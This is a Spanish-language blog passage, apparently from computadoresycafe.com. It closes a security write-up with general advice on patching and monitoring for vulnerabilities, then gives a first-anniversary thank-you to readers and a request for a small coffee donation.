Conclusiones

Ha sido un largo camino, no tanto en la resolución de la máquina, pero sí en la redacción y posiblemente en la lectura, entonces no quiero extenderme más, pero hemos visto cómo un atacante mal intencionado podría afectar una empresa aprovechándose de software desactualizado, con vulnerabilidades o de errores de configuración, es importante seguir las recomendaciones que da el fabricante a la hora de implementar un nuevo software y realizar un constante monitoreo a vulnerabilidades conocidas o nuevas que se puedan presentar en los sistemas que se administran.

Espero que se hayan divertido o aprendido algo nuevo, nos vemos en la próxima entrada.

Un año de mucho café… Gracias

Bueno, acá estamos, un año después de comenzar con un este proyecto personal y aunque en materia de contenido no ha tenido el avance que me imaginé que tendría, el alcance y el cariño por parte de ustedes ha sobrepasado cualquier expectativa. Y como ya lo mencioné, aunque no he publicado contenido con la regularidad y calidad que quisiera, este pequeño proyecto me ha servido mucho a nivel personal, no sólo por poner a prueba y adquirir nuevas habilidades informáticas, también porque ha servido para, poco a poco, retomar la escritura, y aunque siento que no lo hago tan bien, muchos de ustedes me dicen lo contrario y eso me anima mucho.

Hace mucho vengo dándole vueltas a la idea de hacer de computadoresycafe.com una marca personal y que me permita abrirme espacio en otras áreas de mi carrera o que marque una diferencia en ella, aunque a veces el tiempo me juega malas pasadas, con lo que siempre espero contar, es con el apoyo que me han dado desde el comienzo, agradezco cada vez que en redes sociales le dan un “me gusta”, comparten o me preguntan por interno las cosas de las que hablo, algunos de ustedes ni siquiera están involucrados con la informática, pero me manifiestan que les entretiene como escribo, esas cosas quedan en mi corazón, nuevamente, y aunque parezca exagerado de mi parte, mil gracias por tanto.

Por último, aprovecho para recordar que hasta el momento, este sitio se ha mantenido libre de publicidad y sin ninguna intención de lucro, sin embargo -y aprovechando la temática del blog- si lo desean, a manera simbólica pueden invitarme a un cafecito en el enlace que aparecerá al finalizar este párrafo, no es una cantidad considerable de dinero y cualquier aporte lo agradeceré inmensamente. ¡Nos vemos en la próxima entrada!